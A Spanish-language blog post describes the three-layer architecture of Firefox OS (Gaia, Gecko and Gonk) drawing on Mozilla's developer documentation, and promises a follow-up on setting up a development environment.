Para tomar encuenta y comprender la Arquitectura de Firefox OS tenemos de referencia directa, la documentacion oficial que nos habla de la Arquitectura.

La interfaz de usuario de la plataforma Firefox OS. Toda imagen que aparece en la pantalla desde que Firefox OS es activado, es iniciado en Gaia.
Ella implementa el bloqueo de pantalla, pantalla de inicio, y todas las aplicaciones estándar que se espera de un smartphone moderno.
Gaia está implementado completamente usando HTML, CSS y JavaScript, siendo sus únicas interfaces con el sistema operativo las Web APIs, las cuales son implementadas por la capa denominada Gecko. Las aplicaciones de terceros pueden ser instaladas junto con ella.

Gecko

Esta es la aplicación de Firefox OS; es decir, la capa que provee todo el soporte para el trio de estándares abiertos: HTML, CSS y JavaScript. Esto hace que dichas APIs funcionen bien en cualquier sistema operativo que soporte Gecko. Esto significa que Gecko incluye, entre otras cosas, un paquete de red, un paquete gráfico, un motor de diseño, una máquina virtual de JavaScript, y capas de portabilidad.

Gonk

Gonk es el sistema operativo de bajo nivel de la plataforma Firefox OS, consiste en un kernel Linux y una capa de abstracción de hardware de espacio de usuario (HAL por sus siglas en inglés). El kernel y varias de las librerias del espacio del usuario son proyectos de código abierto: GNU/Linux, libusb, bluez y así sucesivamente. Algunas de de las otras partes de HAL son compartidas con el proyecto Android: GPS, cámara y otros.

Podrías decir que Gonk es una simple distribución de GNU/Linux, su meta es la portabilidad de Gecko; esto es, que se pueden ejecutar comandos Gecko en Gonk, así como hay uno de Gecko a Mac OS X, Windows y Android.

Desde que el proyecto Firefox OS tiene control total sobre Gonk, podemos mostrar interfaces de Gecko que no se pueden mostrar en otros sistemas operativos, por ejemplo, él tiene acceso directo a todo el paquete de telefonia y mostrar un marco de almacenamiento en Gonk, pero no puede tener ese acceso en ningún otro sistema operativo.

Mayor Referencia: developer.mozilla.org



Resumiendo lo aprendido hasta ahora:

En resumen, Firefox OS es una plataforma Libre que se encuentra desarrollada en HTML5 un fork podriamos decir de Android el cual sacaron lo Java para dejarlo desnudito, y tener una plataforma totalmente libre, tiene un MarketPlace el cual podemos desarrollar y demas detalles.

Por lo tanto, esperemos la próxima entrada donde realizaremos ya la configuración de nuestro entornos y conoceremos un poco la arquitectura de una aplicación para FirefoxOS, ya saben dudas y comentarios hacerlos aquí :)

Regards,
Snifer
Leer Mas